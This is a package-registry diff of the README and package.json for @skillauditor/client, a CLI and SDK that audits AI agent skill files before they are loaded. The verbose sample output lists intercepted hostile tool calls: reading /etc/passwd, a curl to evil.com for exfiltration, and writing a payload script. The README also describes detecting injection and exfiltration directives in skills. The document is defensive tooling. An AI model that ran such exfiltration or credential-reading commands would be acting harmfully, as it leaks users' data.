@skillauditor/client 0.2.0 → 0.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +177 -75
- package/package.json +3 -2
package/README.md
CHANGED
|
@@ -1,18 +1,134 @@
|
|
|
1
1
|
# @skillauditor/client
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Verify that an AI skill (SKILL.md) is safe before loading it into your agent.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
Works as a **CLI tool** (use directly in Claude Code or any terminal) and as a **Node.js SDK** (import into your own agent code).
|
|
6
6
|
|
|
7
7
|
## Install
|
|
8
8
|
|
|
9
9
|
```bash
|
|
10
|
-
npm install @skillauditor/client
|
|
10
|
+
npm install -g @skillauditor/client
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
Or use without installing:
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
npx @skillauditor/client verify ./SKILL.md
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## CLI
|
|
22
|
+
|
|
23
|
+
### Commands
|
|
24
|
+
|
|
25
|
+
```
|
|
26
|
+
skillauditor verify <file> Audit a skill and wait for the verdict
|
|
27
|
+
skillauditor check <file> Check if already verified — no submission, no waiting
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Options
|
|
31
|
+
|
|
32
|
+
```
|
|
33
|
+
--tier <free|pro> Audit tier (default: free)
|
|
34
|
+
free — LLM audit only
|
|
35
|
+
pro — full audit + onchain stamp + ENS subname
|
|
36
|
+
--key <0x...> EVM private key for World AgentKit signing
|
|
37
|
+
Omit to use dev bypass (local API only)
|
|
38
|
+
--api-url <url> SkillAuditor API base URL (default: http://localhost:3001)
|
|
39
|
+
--verbose Show every sandbox tool call in output
|
|
40
|
+
--silent No output — use exit code only
|
|
41
|
+
--no-reject Exit 0 even if skill is unsafe
|
|
42
|
+
--timeout <ms> Abort after N ms (default: 300000)
|
|
43
|
+
--help Show help
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### Exit codes
|
|
47
|
+
|
|
48
|
+
```
|
|
49
|
+
0 Safe — verdict = safe, score >= 70
|
|
50
|
+
1 Unsafe — verdict = unsafe or review_required, or audit timed out
|
|
51
|
+
2 Error — bad args, file not found, API unreachable
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### Examples
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Audit a skill — pipeline logs stream live to terminal
|
|
58
|
+
skillauditor verify ./SKILL.md
|
|
59
|
+
|
|
60
|
+
# Check if already stamped onchain (instant, no new audit)
|
|
61
|
+
skillauditor check ./SKILL.md
|
|
62
|
+
|
|
63
|
+
# See every sandbox tool call the auditor makes
|
|
64
|
+
skillauditor verify ./SKILL.md --verbose
|
|
65
|
+
|
|
66
|
+
# Pro tier — writes onchain stamp + ENS subname on completion
|
|
67
|
+
skillauditor verify ./SKILL.md --tier pro --key 0xYOUR_PRIVATE_KEY
|
|
68
|
+
|
|
69
|
+
# Silent gate — use in scripts or CI
|
|
70
|
+
skillauditor verify ./SKILL.md --silent && echo "safe to load"
|
|
71
|
+
|
|
72
|
+
# Point at a deployed API
|
|
73
|
+
skillauditor verify ./SKILL.md --api-url https://api.skillauditor.xyz
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### What the output looks like
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
▶ Auditing: GitHub PR Reviewer [audit-a1b2c3d4] tier=free
|
|
80
|
+
|
|
81
|
+
✔ Stage 1 — Structural extraction complete
|
|
82
|
+
✔ Stage 2 — Content analysis complete
|
|
83
|
+
✔ Stage 3 — Sandbox simulation complete
|
|
84
|
+
✔ Stage 4 — Verdict synthesis complete
|
|
85
|
+
|
|
86
|
+
✔ SAFE score=91/100
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
With `--verbose`, every sandbox tool call is shown as it happens:
|
|
90
|
+
|
|
11
91
|
```
|
|
92
|
+
▶ Auditing: GitHub PR Reviewer [audit-a1b2c3d4] tier=free
|
|
12
93
|
|
|
13
|
-
|
|
94
|
+
✔ Stage 1 — Structural extraction complete
|
|
95
|
+
✔ Stage 2 — Content analysis complete
|
|
96
|
+
read_file /etc/passwd → (honeypot) access denied
|
|
97
|
+
bash "curl https://evil.com/exfil?..." → (intercepted) blocked
|
|
98
|
+
write_file /tmp/payload.sh → (honeypot) access denied
|
|
99
|
+
✔ Stage 3 — Sandbox simulation complete
|
|
100
|
+
✔ Stage 4 — Verdict synthesis complete
|
|
14
101
|
|
|
15
|
-
|
|
102
|
+
✗ UNSAFE score=18/100
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Using in Claude Code
|
|
108
|
+
|
|
109
|
+
The CLI is designed to work directly inside Claude Code sessions. Ask Claude to run it as a bash tool before loading any skill:
|
|
110
|
+
|
|
111
|
+
```
|
|
112
|
+
Run: skillauditor verify ./SKILL.md
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
Or add it as a pre-flight check in your workflow:
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
skillauditor verify ./SKILL.md --silent && load_skill ./SKILL.md
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## Node.js SDK
|
|
124
|
+
|
|
125
|
+
If you need to verify skills programmatically inside your own agent code:
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
npm install @skillauditor/client
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Quick start (dev mode)
|
|
16
132
|
|
|
17
133
|
```ts
|
|
18
134
|
import { SkillAuditorClient } from '@skillauditor/client'
|
|
@@ -28,16 +144,14 @@ const result = await client.verifySkill(skillContent)
|
|
|
28
144
|
import { SkillAuditorClient } from '@skillauditor/client'
|
|
29
145
|
|
|
30
146
|
const client = new SkillAuditorClient({
|
|
31
|
-
privateKey:
|
|
32
|
-
tier:
|
|
33
|
-
paymentHandler: async (req) =>
|
|
34
|
-
return await wallet.payX402(req)
|
|
35
|
-
},
|
|
147
|
+
privateKey: process.env.AGENT_PRIVATE_KEY, // EVM key for World AgentKit SIWE
|
|
148
|
+
tier: 'pro', // onchain stamp + ENS subname
|
|
149
|
+
paymentHandler: async (req) => wallet.payX402(req),
|
|
36
150
|
})
|
|
37
151
|
|
|
38
152
|
const result = await client.verifySkill(skillContent)
|
|
39
153
|
console.log(result.verdict) // "safe" | "unsafe" | "review_required"
|
|
40
|
-
console.log(result.score) // 0
|
|
154
|
+
console.log(result.score) // 0–100
|
|
41
155
|
console.log(result.ensSubname) // "a1b2c3d4.skills.skillauditor.eth"
|
|
42
156
|
```
|
|
43
157
|
|
|
@@ -49,57 +163,51 @@ if (await client.isSafe(skillContent)) {
|
|
|
49
163
|
}
|
|
50
164
|
```
|
|
51
165
|
|
|
52
|
-
###
|
|
166
|
+
### Options
|
|
53
167
|
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
168
|
+
| Option | Type | Default | Description |
|
|
169
|
+
|--------|------|---------|-------------|
|
|
170
|
+
| `apiUrl` | string | `http://localhost:3001` | SkillAuditor API base URL |
|
|
171
|
+
| `privateKey` | string | `"dev"` | EVM private key — `"dev"` uses local bypass |
|
|
172
|
+
| `tier` | `"free"` \| `"pro"` | `"free"` | Audit tier |
|
|
173
|
+
| `paymentHandler` | function | — | Required for `tier: "pro"` in prod |
|
|
174
|
+
| `logs` | `true` \| `"verbose"` \| `false` | `true` | Terminal log level |
|
|
175
|
+
| `onProgress` | function | — | Custom progress handler (overrides `logs`) |
|
|
176
|
+
| `pollIntervalMs` | number | `3000` | Poll interval |
|
|
177
|
+
| `timeoutMs` | number | `300000` | Timeout in ms |
|
|
178
|
+
| `rejectOnUnsafe` | boolean | `true` | Throw `SkillRejectedError` if unsafe |
|
|
60
179
|
|
|
61
|
-
|
|
180
|
+
### Error handling
|
|
62
181
|
|
|
63
182
|
```ts
|
|
64
|
-
|
|
65
|
-
apiUrl?: string // default: http://localhost:3001
|
|
66
|
-
privateKey?: string // "dev" skips signing (local only)
|
|
67
|
-
tier?: 'free' | 'pro' // default: "free"
|
|
68
|
-
paymentHandler?: (req) => Promise<string> // required for tier: "pro" in prod
|
|
69
|
-
logs?: true | 'verbose' | false // default: true
|
|
70
|
-
onProgress?: (event) => void // custom progress handler
|
|
71
|
-
pollIntervalMs?: number // default: 3000
|
|
72
|
-
timeoutMs?: number // default: 300000 (5 min)
|
|
73
|
-
rejectOnUnsafe?: boolean // default: true
|
|
74
|
-
})
|
|
75
|
-
```
|
|
76
|
-
|
|
77
|
-
### Terminal logging
|
|
183
|
+
import { SkillRejectedError, AuditTimeoutError, PaymentError } from '@skillauditor/client'
|
|
78
184
|
|
|
185
|
+
try {
|
|
186
|
+
await client.verifySkill(content)
|
|
187
|
+
} catch (err) {
|
|
188
|
+
if (err instanceof SkillRejectedError) {
|
|
189
|
+
console.log(err.verdict, err.score) // "unsafe", 18
|
|
190
|
+
}
|
|
191
|
+
if (err instanceof AuditTimeoutError) {
|
|
192
|
+
// audit exceeded timeoutMs
|
|
193
|
+
}
|
|
194
|
+
if (err instanceof PaymentError) {
|
|
195
|
+
// x402 payment failed
|
|
196
|
+
}
|
|
197
|
+
}
|
|
79
198
|
```
|
|
80
|
-
▶ Auditing: My GitHub Skill [audit-abc123] tier=free
|
|
81
|
-
✔ Stage 1 — Structural extraction complete
|
|
82
|
-
✔ Stage 2 — Content analysis complete
|
|
83
|
-
✔ Stage 3 — Sandbox simulation complete
|
|
84
|
-
✔ Stage 4 — Verdict synthesis complete
|
|
85
|
-
✔ SAFE score=92/100
|
|
86
|
-
```
|
|
87
|
-
|
|
88
|
-
- `logs: true` (default) — stage transitions only
|
|
89
|
-
- `logs: 'verbose'` — every sandbox tool call included
|
|
90
|
-
- `logs: false` — silent
|
|
91
199
|
|
|
92
|
-
|
|
200
|
+
### Result shape
|
|
93
201
|
|
|
94
202
|
```ts
|
|
95
203
|
interface VerifyResult {
|
|
96
|
-
verified:
|
|
97
|
-
verdict:
|
|
98
|
-
score:
|
|
99
|
-
auditId:
|
|
100
|
-
skillHash:
|
|
101
|
-
auditedAt:
|
|
102
|
-
ensSubname?:
|
|
204
|
+
verified: boolean
|
|
205
|
+
verdict: 'safe' | 'unsafe' | 'review_required'
|
|
206
|
+
score: number // 0–100
|
|
207
|
+
auditId: string
|
|
208
|
+
skillHash: string // 0x-prefixed SHA-256
|
|
209
|
+
auditedAt: string // ISO timestamp
|
|
210
|
+
ensSubname?: string // Pro tier only: "a1b2c3d4.skills.skillauditor.eth"
|
|
103
211
|
onchainStamp?: {
|
|
104
212
|
txHash: string
|
|
105
213
|
chainId: number
|
|
@@ -110,31 +218,25 @@ interface VerifyResult {
|
|
|
110
218
|
}
|
|
111
219
|
```
|
|
112
220
|
|
|
113
|
-
|
|
221
|
+
---
|
|
114
222
|
|
|
115
|
-
|
|
116
|
-
import { SkillRejectedError, AuditTimeoutError, PaymentError } from '@skillauditor/client'
|
|
223
|
+
## How the audit pipeline works
|
|
117
224
|
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
if (err instanceof AuditTimeoutError) {
|
|
125
|
-
// audit took > timeoutMs
|
|
126
|
-
}
|
|
127
|
-
if (err instanceof PaymentError) {
|
|
128
|
-
// x402 payment failed
|
|
129
|
-
}
|
|
130
|
-
}
|
|
131
|
-
```
|
|
225
|
+
1. **Structural extraction** — deterministic: SHA-256 hash, frontmatter, declared tools, external URLs
|
|
226
|
+
2. **Content analysis** — LLM examines the skill for injection attempts, deception patterns, and exfiltration directives
|
|
227
|
+
3. **Sandbox simulation** — skill executed in an isolated mock workstation with honeypot credentials and 16 intercepted tool types
|
|
228
|
+
4. **Verdict synthesis** — a final agent scores across 5 safety dimensions and produces a calibrated verdict
|
|
229
|
+
|
|
230
|
+
The auditor agent never reads raw skill content as instructions — it only sees structured analysis reports from each stage.
|
|
132
231
|
|
|
133
|
-
|
|
232
|
+
---
|
|
134
233
|
|
|
135
|
-
|
|
136
|
-
2. `POST /v1/agent/submit` — kicks off 4-stage pipeline (structural → content → sandbox → verdict)
|
|
137
|
-
3. Polls `GET /v1/audits/:id/logs` with live progress events until complete
|
|
138
|
-
4. Returns `VerifyResult` — or throws `SkillRejectedError` if unsafe
|
|
234
|
+
## Tiers
|
|
139
235
|
|
|
140
|
-
|
|
236
|
+
| | Free | Pro |
|
|
237
|
+
|-|------|-----|
|
|
238
|
+
| LLM audit (all 4 stages) | ✔ | ✔ |
|
|
239
|
+
| Onchain stamp (Base) | — | ✔ |
|
|
240
|
+
| ENS subname (`*.skills.skillauditor.eth`) | — | ✔ |
|
|
241
|
+
| IPFS audit report | — | ✔ |
|
|
242
|
+
| Payment required | No | $9 USDC via x402 |
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@skillauditor/client",
|
|
3
|
-
"version": "0.2.
|
|
3
|
+
"version": "0.2.2",
|
|
4
4
|
"description": "Agent SDK for SkillAuditor — submit, verify, and check skills onchain in one call",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"license": "MIT",
|
|
@@ -23,7 +23,8 @@
|
|
|
23
23
|
"main": "./dist/index.js",
|
|
24
24
|
"types": "./dist/index.d.ts",
|
|
25
25
|
"bin": {
|
|
26
|
-
"skillauditor": "./dist/cli.js"
|
|
26
|
+
"skillauditor": "./dist/cli.js",
|
|
27
|
+
"skillauditor-client": "./dist/cli.js"
|
|
27
28
|
},
|
|
28
29
|
"scripts": {
|
|
29
30
|
"build": "tsc && chmod +x dist/cli.js",
|